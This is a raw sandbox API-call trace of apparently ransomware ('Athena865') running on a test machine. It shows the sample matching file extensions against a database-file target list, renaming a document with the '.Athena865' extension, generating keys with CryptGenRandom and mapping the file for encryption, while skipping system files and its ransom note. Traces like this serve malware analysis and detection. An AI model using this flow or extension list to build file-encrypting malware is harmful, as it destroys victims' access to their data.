lstrlenW (lpString="vhdx") returned 4 [0101.359] lstrcmpiW (lpString1=".ots", lpString2="vhdx") returned -1 [0101.359] lstrlenW (lpString="avhd") returned 4 [0101.360] lstrcmpiW (lpString1=".ots", lpString2="avhd") returned -1 [0101.360] lstrlenW (lpString="db") returned 2 [0101.360] lstrcmpiW (lpString1="ts", lpString2="db") returned 1 [0101.360] lstrlenW (lpString="db2") returned 3 [0101.360] lstrcmpiW (lpString1="ots", lpString2="db2") returned 1 [0101.360] lstrlenW (lpString="db3") returned 3 [0101.360] lstrcmpiW (lpString1="ots", lpString2="db3") returned 1 [0101.360] lstrlenW (lpString="dbf") returned 3 [0101.360] lstrcmpiW (lpString1="ots", lpString2="dbf") returned 1 [0101.360] lstrlenW (lpString="mdf") returned 3 [0101.360] lstrcmpiW (lpString1="ots", lpString2="mdf") returned 1 [0101.360] lstrlenW (lpString="mdb") returned 3 [0101.360] lstrcmpiW (lpString1="ots", lpString2="mdb") returned 1 [0101.360] lstrlenW (lpString="sql") returned 3 [0101.360] lstrcmpiW (lpString1="ots", lpString2="sql") returned -1 [0101.360] lstrlenW (lpString="sqlite") returned 6 [0101.360] lstrcmpiW (lpString1="n-.ots", lpString2="sqlite") returned -1 [0101.360] lstrlenW (lpString="sqlite3") returned 7 [0101.360] lstrcmpiW (lpString1="0n-.ots", lpString2="sqlite3") returned -1 [0101.360] lstrlenW (lpString="sqlitedb") returned 8 [0101.360] lstrcmpiW (lpString1="M0n-.ots", lpString2="sqlitedb") returned -1 [0101.360] lstrlenW (lpString="xml") returned 3 [0101.360] lstrcmpiW (lpString1="ots", lpString2="xml") returned -1 [0101.360] lstrlenW (lpString="$er") returned 3 [0101.360] lstrcmpiW (lpString1="ots", lpString2="$er") returned 1 [0101.360] lstrlenW (lpString="4dd") returned 3 [0101.360] lstrcmpiW (lpString1="ots", lpString2="4dd") returned 1 [0101.360] lstrlenW (lpString="4dl") returned 3 [0101.360] lstrcmpiW (lpString1="ots", lpString2="4dl") returned 1 [0101.360] lstrlenW (lpString="^^^") returned 3 [0101.360] lstrcmpiW (lpString1="ots", lpString2="^^^") returned 1 [0101.360] lstrlenW (lpString="abs") returned 3 [0101.361] lstrcmpiW (lpString1="ots", lpString2="abs") returned 1 [0101.361] lstrlenW (lpString="abx") returned 3 [0101.361] lstrcmpiW (lpString1="ots", lpString2="abx") returned 1 [0101.361] lstrlenW (lpString="accdb") returned 5 [0101.361] lstrcmpiW (lpString1="-.ots", lpString2="accdb") returned -1 [0101.361] lstrlenW (lpString="accdc") returned 5 [0101.361] lstrcmpiW (lpString1="-.ots", lpString2="accdc") returned -1 [0101.361] lstrlenW (lpString="accde") returned 5 [0101.361] lstrcmpiW (lpString1="-.ots", lpString2="accde") returned -1 [0101.361] lstrlenW (lpString="accdr") returned 5 [0101.361] lstrcmpiW (lpString1="-.ots", lpString2="accdr") returned -1 [0101.361] lstrlenW (lpString="accdt") returned 5 [0101.361] lstrcmpiW (lpString1="-.ots", lpString2="accdt") returned -1 [0101.361] lstrlenW (lpString="accdw") returned 5 [0101.361] lstrcmpiW (lpString1="-.ots", lpString2="accdw") returned -1 [0101.361] lstrlenW (lpString="accft") returned 5 [0101.361] lstrcmpiW (lpString1="-.ots", lpString2="accft") returned -1 [0101.361] lstrlenW (lpString="adb") returned 3 [0101.361] lstrcmpiW (lpString1="ots", lpString2="adb") returned 1 [0101.361] lstrlenW (lpString="adb") returned 3 [0101.361] lstrcmpiW (lpString1="ots", lpString2="adb") returned 1 [0101.361] lstrlenW (lpString="ade") returned 3 [0101.361] lstrcmpiW (lpString1="ots", lpString2="ade") returned 1 [0101.361] lstrlenW (lpString="adf") returned 3 [0101.361] lstrcmpiW (lpString1="ots", lpString2="adf") returned 1 [0101.361] lstrlenW (lpString="adn") returned 3 [0101.361] lstrcmpiW (lpString1="ots", lpString2="adn") returned 1 [0101.361] lstrlenW (lpString="adp") returned 3 [0101.361] lstrcmpiW (lpString1="ots", lpString2="adp") returned 1 [0101.361] lstrlenW (lpString="alf") returned 3 [0101.361] lstrcmpiW (lpString1="ots", lpString2="alf") returned 1 [0101.361] lstrlenW (lpString="ask") returned 3 [0101.362] lstrcmpiW (lpString1="ots", lpString2="ask") returned 1 [0101.362] lstrlenW (lpString="btr") returned 3 [0101.362] lstrcmpiW (lpString1="ots", lpString2="btr") returned 1 [0101.362] lstrlenW (lpString="cat") returned 3 [0101.362] lstrcmpiW (lpString1="ots", lpString2="cat") returned 1 [0101.362] lstrlenW (lpString="cdb") returned 3 [0101.362] lstrcmpiW (lpString1="ots", lpString2="cdb") returned 1 [0101.362] lstrlenW (lpString="ckp") returned 3 [0101.362] lstrcmpiW (lpString1="ots", lpString2="ckp") returned 1 [0101.362] lstrlenW (lpString="cma") returned 3 [0101.362] lstrcmpiW (lpString1="ots", lpString2="cma") returned 1 [0101.362] lstrlenW (lpString="cpd") returned 3 [0101.362] lstrcmpiW (lpString1="ots", lpString2="cpd") returned 1 [0101.362] lstrlenW (lpString="dacpac") returned 6 [0101.362] lstrcmpiW (lpString1="n-.ots", lpString2="dacpac") returned 1 [0101.362] lstrlenW (lpString="dad") returned 3 [0101.362] lstrcmpiW (lpString1="ots", lpString2="dad") returned 1 [0101.362] lstrlenW (lpString="dadiagrams") returned 10 [0101.362] lstrlenW (lpString="daschema") returned 8 [0101.362] lstrcmpiW (lpString1="M0n-.ots", lpString2="daschema") returned 1 [0101.362] lstrlenW (lpString="db-journal") returned 10 [0101.362] lstrlenW (lpString="db-shm") returned 6 [0101.362] lstrcmpiW (lpString1="n-.ots", lpString2="db-shm") returned 1 [0101.362] lstrlenW (lpString="db-wal") returned 6 [0101.362] lstrcmpiW (lpString1="n-.ots", lpString2="db-wal") returned 1 [0101.362] lstrlenW (lpString="dbc") returned 3 [0101.362] lstrcmpiW (lpString1="ots", lpString2="dbc") returned 1 [0101.362] lstrlenW (lpString="dbs") returned 3 [0101.362] lstrcmpiW (lpString1="ots", lpString2="dbs") returned 1 [0101.362] lstrlenW (lpString="dbt") returned 3 [0101.362] lstrcmpiW (lpString1="ots", lpString2="dbt") returned 1 [0101.362] lstrlenW (lpString="dbv") returned 3 [0101.363] lstrcmpiW (lpString1="ots", lpString2="dbv") returned 1 [0101.363] lstrlenW (lpString="dbx") returned 3 [0101.363] lstrcmpiW (lpString1="ots", lpString2="dbx") returned 1 [0101.363] lstrlenW (lpString="dcb") returned 3 [0101.363] lstrcmpiW (lpString1="ots", lpString2="dcb") returned 1 [0101.363] lstrlenW (lpString="dct") returned 3 [0101.363] lstrcmpiW (lpString1="ots", lpString2="dct") returned 1 [0101.363] lstrlenW (lpString="dcx") returned 3 [0101.363] lstrcmpiW (lpString1="ots", lpString2="dcx") returned 1 [0101.363] lstrlenW (lpString="ddl") returned 3 [0101.363] lstrcmpiW (lpString1="ots", lpString2="ddl") returned 1 [0101.363] lstrlenW (lpString="dlis") returned 4 [0101.363] lstrcmpiW (lpString1=".ots", lpString2="dlis") returned -1 [0101.363] lstrlenW (lpString="dp1") returned 3 [0101.363] lstrcmpiW (lpString1="ots", lpString2="dp1") returned 1 [0101.363] lstrlenW (lpString="dqy") returned 3 [0101.363] lstrcmpiW (lpString1="ots", lpString2="dqy") returned 1 [0101.363] lstrlenW (lpString="dsk") returned 3 [0101.363] lstrcmpiW (lpString1="ots", lpString2="dsk") returned 1 [0101.363] lstrlenW (lpString="dsn") returned 3 [0101.363] lstrcmpiW (lpString1="ots", lpString2="dsn") returned 1 [0101.363] lstrlenW (lpString="dtsx") returned 4 [0101.363] lstrcmpiW (lpString1=".ots", lpString2="dtsx") returned -1 [0101.363] lstrlenW (lpString="dxl") returned 3 [0101.363] lstrcmpiW (lpString1="ots", lpString2="dxl") returned 1 [0101.363] lstrlenW (lpString="eco") returned 3 [0101.363] lstrcmpiW (lpString1="ots", lpString2="eco") returned 1 [0101.363] lstrlenW (lpString="ecx") returned 3 [0101.363] lstrcmpiW (lpString1="ots", lpString2="ecx") returned 1 [0101.363] lstrlenW (lpString="edb") returned 3 [0101.363] lstrcmpiW (lpString1="ots", lpString2="edb") returned 1 [0101.363] lstrlenW (lpString="epim") returned 4 [0101.364] lstrcmpiW (lpString1=".ots", lpString2="epim") returned -1 [0101.364] lstrlenW (lpString="fcd") returned 3 [0101.364] lstrcmpiW (lpString1="ots", lpString2="fcd") returned 1 [0101.364] lstrlenW (lpString="fdb") returned 3 [0101.364] lstrcmpiW (lpString1="ots", lpString2="fdb") returned 1 [0101.364] lstrlenW (lpString="fic") returned 3 [0101.364] lstrcmpiW (lpString1="ots", lpString2="fic") returned 1 [0101.364] lstrlenW (lpString="flexolibrary") returned 12 [0101.364] lstrlenW (lpString="fm5") returned 3 [0101.364] lstrcmpiW (lpString1="ots", lpString2="fm5") returned 1 [0101.364] lstrlenW (lpString="fmp") returned 3 [0101.364] lstrcmpiW (lpString1="ots", lpString2="fmp") returned 1 [0101.364] lstrlenW (lpString="fmp12") returned 5 [0101.364] lstrcmpiW (lpString1="-.ots", lpString2="fmp12") returned -1 [0101.364] lstrlenW (lpString="fmpsl") returned 5 [0101.364] lstrcmpiW (lpString1="-.ots", lpString2="fmpsl") returned -1 [0101.364] lstrlenW (lpString="fol") returned 3 [0101.364] lstrcmpiW (lpString1="ots", lpString2="fol") returned 1 [0101.364] lstrlenW (lpString="fp3") returned 3 [0101.364] lstrcmpiW (lpString1="ots", lpString2="fp3") returned 1 [0101.364] lstrlenW (lpString="fp4") returned 3 [0101.364] lstrcmpiW (lpString1="ots", lpString2="fp4") returned 1 [0101.364] lstrlenW (lpString="fp5") returned 3 [0101.364] lstrcmpiW (lpString1="ots", lpString2="fp5") returned 1 [0101.364] lstrlenW (lpString="fp7") returned 3 [0101.364] lstrcmpiW (lpString1="ots", lpString2="fp7") returned 1 [0101.364] lstrlenW (lpString="fpt") returned 3 [0101.364] lstrcmpiW (lpString1="ots", lpString2="fpt") returned 1 [0101.364] lstrlenW (lpString="frm") returned 3 [0101.364] lstrcmpiW (lpString1="ots", lpString2="frm") returned 1 [0101.364] lstrlenW (lpString="gdb") returned 3 [0101.364] lstrcmpiW (lpString1="ots", lpString2="gdb") returned 1 [0101.365] lstrlenW (lpString="gdb") returned 3 [0101.365] lstrcmpiW (lpString1="ots", lpString2="gdb") returned 1 [0101.365] lstrlenW (lpString="grdb") returned 4 [0101.365] lstrcmpiW (lpString1=".ots", lpString2="grdb") returned -1 [0101.365] lstrlenW (lpString="gwi") returned 3 [0101.365] lstrcmpiW (lpString1="ots", lpString2="gwi") returned 1 [0101.365] lstrlenW (lpString="hdb") returned 3 [0101.365] lstrcmpiW (lpString1="ots", lpString2="hdb") returned 1 [0101.365] lstrlenW (lpString="his") returned 3 [0101.365] lstrcmpiW (lpString1="ots", lpString2="his") returned 1 [0101.365] lstrlenW (lpString="ib") returned 2 [0101.365] lstrcmpiW (lpString1="ts", lpString2="ib") returned 1 [0101.365] lstrlenW (lpString="idb") returned 3 [0101.365] lstrcmpiW (lpString1="ots", lpString2="idb") returned 1 [0101.365] lstrlenW (lpString="ihx") returned 3 [0101.365] lstrcmpiW (lpString1="ots", lpString2="ihx") returned 1 [0101.365] lstrlenW (lpString="itdb") returned 4 [0101.365] lstrcmpiW (lpString1=".ots", lpString2="itdb") returned -1 [0101.365] lstrlenW (lpString="itw") returned 3 [0101.365] lstrcmpiW (lpString1="ots", lpString2="itw") returned 1 [0101.365] lstrlenW (lpString="jet") returned 3 [0101.365] lstrcmpiW (lpString1="ots", lpString2="jet") returned 1 [0101.365] lstrlenW (lpString="jtx") returned 3 [0101.365] lstrcmpiW (lpString1="ots", lpString2="jtx") returned 1 [0101.365] lstrlenW (lpString="kdb") returned 3 [0101.365] lstrcmpiW (lpString1="ots", lpString2="kdb") returned 1 [0101.365] lstrlenW (lpString="kexi") returned 4 [0101.365] lstrcmpiW (lpString1=".ots", lpString2="kexi") returned -1 [0101.365] lstrlenW (lpString="kexic") returned 5 [0101.365] lstrcmpiW (lpString1="-.ots", lpString2="kexic") returned -1 [0101.365] lstrlenW (lpString="kexis") returned 5 [0101.365] lstrcmpiW (lpString1="-.ots", lpString2="kexis") returned -1 [0101.366] lstrlenW (lpString="lgc") returned 3 [0101.366] lstrcmpiW (lpString1="ots", lpString2="lgc") returned 1 [0101.366] lstrlenW (lpString="lwx") returned 3 [0101.366] lstrcmpiW (lpString1="ots", lpString2="lwx") returned 1 [0101.366] lstrlenW (lpString="maf") returned 3 [0101.366] lstrcmpiW (lpString1="ots", lpString2="maf") returned 1 [0101.366] lstrlenW (lpString="maq") returned 3 [0101.366] lstrcmpiW (lpString1="ots", lpString2="maq") returned 1 [0101.366] lstrlenW (lpString="mar") returned 3 [0101.366] lstrcmpiW (lpString1="ots", lpString2="mar") returned 1 [0101.366] lstrlenW (lpString="marshal") returned 7 [0101.366] lstrcmpiW (lpString1="0n-.ots", lpString2="marshal") returned -1 [0101.366] lstrlenW (lpString="mas") returned 3 [0101.366] lstrcmpiW (lpString1="ots", lpString2="mas") returned 1 [0101.366] lstrlenW (lpString="mav") returned 3 [0101.366] lstrcmpiW (lpString1="ots", lpString2="mav") returned 1 [0101.366] lstrlenW (lpString="maw") returned 3 [0101.366] lstrcmpiW (lpString1="ots", lpString2="maw") returned 1 [0101.366] lstrlenW (lpString="mdbhtml") returned 7 [0101.366] lstrcmpiW (lpString1="0n-.ots", lpString2="mdbhtml") returned -1 [0101.366] lstrlenW (lpString="mdn") returned 3 [0101.366] lstrcmpiW (lpString1="ots", lpString2="mdn") returned 1 [0101.366] lstrlenW (lpString="mdt") returned 3 [0101.366] lstrcmpiW (lpString1="ots", lpString2="mdt") returned 1 [0101.366] lstrlenW (lpString="mfd") returned 3 [0101.366] lstrcmpiW (lpString1="ots", lpString2="mfd") returned 1 [0101.366] lstrlenW (lpString="mpd") returned 3 [0101.366] lstrcmpiW (lpString1="ots", lpString2="mpd") returned 1 [0101.366] lstrlenW (lpString="mrg") returned 3 [0101.366] lstrcmpiW (lpString1="ots", lpString2="mrg") returned 1 [0101.366] lstrlenW (lpString="mud") returned 3 [0101.366] lstrcmpiW (lpString1="ots", lpString2="mud") returned 1 [0101.366] lstrlenW (lpString="mwb") returned 3 [0101.367] lstrcmpiW (lpString1="ots", lpString2="mwb") returned 1 [0101.367] lstrlenW (lpString="myd") returned 3 [0101.367] lstrcmpiW (lpString1="ots", lpString2="myd") returned 1 [0101.367] lstrlenW (lpString="ndf") returned 3 [0101.367] lstrcmpiW (lpString1="ots", lpString2="ndf") returned 1 [0101.367] lstrlenW (lpString="nnt") returned 3 [0101.367] lstrcmpiW (lpString1="ots", lpString2="nnt") returned 1 [0101.367] lstrlenW (lpString="nrmlib") returned 6 [0101.367] lstrcmpiW (lpString1="n-.ots", lpString2="nrmlib") returned -1 [0101.367] lstrlenW (lpString="ns2") returned 3 [0101.367] lstrcmpiW (lpString1="ots", lpString2="ns2") returned 1 [0101.367] lstrlenW (lpString="ns3") returned 3 [0101.367] lstrcmpiW (lpString1="ots", lpString2="ns3") returned 1 [0101.367] lstrlenW (lpString="ns4") returned 3 [0101.367] lstrcmpiW (lpString1="ots", lpString2="ns4") returned 1 [0101.367] lstrlenW (lpString="nsf") returned 3 [0101.367] lstrcmpiW (lpString1="ots", lpString2="nsf") returned 1 [0101.367] lstrlenW (lpString="nv") returned 2 [0101.367] lstrcmpiW (lpString1="ts", lpString2="nv") returned 1 [0101.367] lstrlenW (lpString="nv2") returned 3 [0101.367] lstrcmpiW (lpString1="ots", lpString2="nv2") returned 1 [0101.367] lstrlenW (lpString="nwdb") returned 4 [0101.367] lstrcmpiW (lpString1=".ots", lpString2="nwdb") returned -1 [0101.367] lstrlenW (lpString="nyf") returned 3 [0101.367] lstrcmpiW (lpString1="ots", lpString2="nyf") returned 1 [0101.367] lstrlenW (lpString="odb") returned 3 [0101.367] lstrcmpiW (lpString1="ots", lpString2="odb") returned 1 [0101.367] lstrlenW (lpString="odb") returned 3 [0101.367] lstrcmpiW (lpString1="ots", lpString2="odb") returned 1 [0101.367] lstrlenW (lpString="oqy") returned 3 [0101.367] lstrcmpiW (lpString1="ots", lpString2="oqy") returned 1 [0101.368] lstrlenW (lpString="ora") returned 3 [0101.368] lstrcmpiW (lpString1="ots", lpString2="ora") returned 1 [0101.368] lstrlenW (lpString="orx") returned 3 [0101.368] lstrcmpiW (lpString1="ots", lpString2="orx") returned 1 [0101.368] lstrlenW (lpString="owc") returned 3 [0101.368] lstrcmpiW (lpString1="ots", lpString2="owc") returned -1 [0101.368] lstrlenW (lpString="p96") returned 3 [0101.368] lstrcmpiW (lpString1="ots", lpString2="p96") returned -1 [0101.368] lstrlenW (lpString="p97") returned 3 [0101.368] lstrcmpiW (lpString1="ots", lpString2="p97") returned -1 [0101.368] lstrlenW (lpString="pan") returned 3 [0101.368] lstrcmpiW (lpString1="ots", lpString2="pan") returned -1 [0101.368] lstrlenW (lpString="pdb") returned 3 [0101.368] lstrcmpiW (lpString1="ots", lpString2="pdb") returned -1 [0101.368] lstrlenW (lpString="pdm") returned 3 [0101.368] lstrcmpiW (lpString1="ots", lpString2="pdm") returned -1 [0101.368] lstrlenW (lpString="pnz") returned 3 [0101.368] lstrcmpiW (lpString1="ots", lpString2="pnz") returned -1 [0101.368] lstrlenW (lpString="qry") returned 3 [0101.368] lstrcmpiW (lpString1="ots", lpString2="qry") returned -1 [0101.368] lstrlenW (lpString="qvd") returned 3 [0101.368] lstrcmpiW (lpString1="ots", lpString2="qvd") returned -1 [0101.368] lstrlenW (lpString="rbf") returned 3 [0101.368] lstrcmpiW (lpString1="ots", lpString2="rbf") returned -1 [0101.368] lstrlenW (lpString="rctd") returned 4 [0101.368] lstrcmpiW (lpString1=".ots", lpString2="rctd") returned -1 [0101.368] lstrlenW (lpString="rod") returned 3 [0101.368] lstrcmpiW (lpString1="ots", lpString2="rod") returned -1 [0101.368] lstrlenW (lpString="rodx") returned 4 [0101.368] lstrcmpiW (lpString1=".ots", lpString2="rodx") returned -1 [0101.368] lstrlenW (lpString="rpd") returned 3 [0101.368] lstrcmpiW (lpString1="ots", lpString2="rpd") returned -1 [0101.369] lstrlenW (lpString="rsd") returned 3 [0101.369] lstrcmpiW (lpString1="ots", lpString2="rsd") returned -1 [0101.369] lstrlenW (lpString="sas7bdat") returned 8 [0101.369] lstrcmpiW (lpString1="M0n-.ots", lpString2="sas7bdat") returned -1 [0101.369] lstrlenW (lpString="sbf") returned 3 [0101.369] lstrcmpiW (lpString1="ots", lpString2="sbf") returned -1 [0101.369] lstrlenW (lpString="scx") returned 3 [0101.369] lstrcmpiW (lpString1="ots", lpString2="scx") returned -1 [0101.369] lstrlenW (lpString="sdb") returned 3 [0101.369] lstrcmpiW (lpString1="ots", lpString2="sdb") returned -1 [0101.369] lstrlenW (lpString="sdc") returned 3 [0101.369] lstrcmpiW (lpString1="ots", lpString2="sdc") returned -1 [0101.369] lstrlenW (lpString="sdf") returned 3 [0101.369] lstrcmpiW (lpString1="ots", lpString2="sdf") returned -1 [0101.369] lstrlenW (lpString="sis") returned 3 [0101.369] lstrcmpiW (lpString1="ots", lpString2="sis") returned -1 [0101.369] lstrlenW (lpString="spq") returned 3 [0101.369] lstrcmpiW (lpString1="ots", lpString2="spq") returned -1 [0101.369] lstrlenW (lpString="te") returned 2 [0101.369] lstrcmpiW (lpString1="ts", lpString2="te") returned 1 [0101.369] lstrlenW (lpString="teacher") returned 7 [0101.369] lstrcmpiW (lpString1="0n-.ots", lpString2="teacher") returned -1 [0101.369] lstrlenW (lpString="tmd") returned 3 [0101.369] lstrcmpiW (lpString1="ots", lpString2="tmd") returned -1 [0101.369] lstrlenW (lpString="tps") returned 3 [0101.369] lstrcmpiW (lpString1="ots", lpString2="tps") returned -1 [0101.369] lstrlenW (lpString="trc") returned 3 [0101.369] lstrcmpiW (lpString1="ots", lpString2="trc") returned -1 [0101.369] lstrlenW (lpString="trc") returned 3 [0101.369] lstrcmpiW (lpString1="ots", lpString2="trc") returned -1 [0101.369] lstrlenW (lpString="trm") returned 3 [0101.369] lstrcmpiW (lpString1="ots", lpString2="trm") returned -1 [0101.370] lstrlenW (lpString="udb") returned 3 [0101.370] lstrcmpiW (lpString1="ots", lpString2="udb") returned -1 [0101.370] lstrlenW (lpString="udl") returned 3 [0101.370] lstrcmpiW (lpString1="ots", lpString2="udl") returned -1 [0101.370] lstrlenW (lpString="usr") returned 3 [0101.370] lstrcmpiW (lpString1="ots", lpString2="usr") returned -1 [0101.370] lstrlenW (lpString="v12") returned 3 [0101.370] lstrcmpiW (lpString1="ots", lpString2="v12") returned -1 [0101.370] lstrlenW (lpString="vis") returned 3 [0101.370] lstrcmpiW (lpString1="ots", lpString2="vis") returned -1 [0101.370] lstrlenW (lpString="vpd") returned 3 [0101.370] lstrcmpiW (lpString1="ots", lpString2="vpd") returned -1 [0101.370] lstrlenW (lpString="vvv") returned 3 [0101.370] lstrcmpiW (lpString1="ots", lpString2="vvv") returned -1 [0101.370] lstrlenW (lpString="wdb") returned 3 [0101.370] lstrcmpiW (lpString1="ots", lpString2="wdb") returned -1 [0101.370] lstrlenW (lpString="wmdb") returned 4 [0101.370] lstrcmpiW (lpString1=".ots", lpString2="wmdb") returned -1 [0101.370] lstrlenW (lpString="wrk") returned 3 [0101.370] lstrcmpiW (lpString1="ots", lpString2="wrk") returned -1 [0101.370] lstrlenW (lpString="xdb") returned 3 [0101.370] lstrcmpiW (lpString1="ots", lpString2="xdb") returned -1 [0101.370] lstrlenW (lpString="xld") returned 3 [0101.370] lstrcmpiW (lpString1="ots", lpString2="xld") returned -1 [0101.370] lstrlenW (lpString="xmlff") returned 5 [0101.370] lstrcmpiW (lpString1="-.ots", lpString2="xmlff") returned -1 [0101.370] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\ePM0n-.ots.Athena865") returned 90 [0101.370] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\ePM0n-.ots" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\epm0n-.ots"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\ePM0n-.ots.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\epm0n-.ots.athena865"), dwFlags=0x1) returned 1 [0101.373] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\ePM0n-.ots.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\epm0n-.ots.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0101.374] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22867) returned 1 [0101.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.374] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.375] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.375] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.375] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5c60, lpName=0x0) returned 0x154 [0101.375] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5c60) returned 0x100000 [0101.376] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.376] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.376] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x546058 [0101.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.377] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.377] CloseHandle (hObject=0x154) returned 1 [0101.378] CloseHandle (hObject=0x17c) returned 1 [0101.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.459] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ce4140, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc5ce4140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.459] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.460] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5353e6c0, ftCreationTime.dwHighDateTime=0x1d4c7e6, ftLastAccessTime.dwLowDateTime=0x67f33360, ftLastAccessTime.dwHighDateTime=0x1d4d05b, ftLastWriteTime.dwLowDateTime=0x67f33360, ftLastWriteTime.dwHighDateTime=0x1d4d05b, nFileSizeHigh=0x0, nFileSizeLow=0x7df1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ioqoZduRZvHk.xls", cAlternateFileName="IOQOZD~1.XLS")) returned 1 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2=".") returned 1 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2="..") returned 1 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2="windows") returned -1 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2="bootmgr") returned 1 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2="temp") returned -1 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2="pagefile.sys") returned -1 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2="boot") returned 1 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2="ids.txt") returned 1 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2="ntuser.dat") returned -1 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2="perflogs") returned -1 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2="MSBuild") returned -1 [0101.460] lstrlenW (lpString="ioqoZduRZvHk.xls") returned 16 [0101.460] lstrcpyW (in: lpString1=0x241e8d4, lpString2="ioqoZduRZvHk.xls" | out: lpString1="ioqoZduRZvHk.xls") returned="ioqoZduRZvHk.xls" [0101.460] lstrlenW (lpString="ioqoZduRZvHk.xls") returned 16 [0101.460] lstrlenW (lpString="Athena865") returned 9 [0101.460] 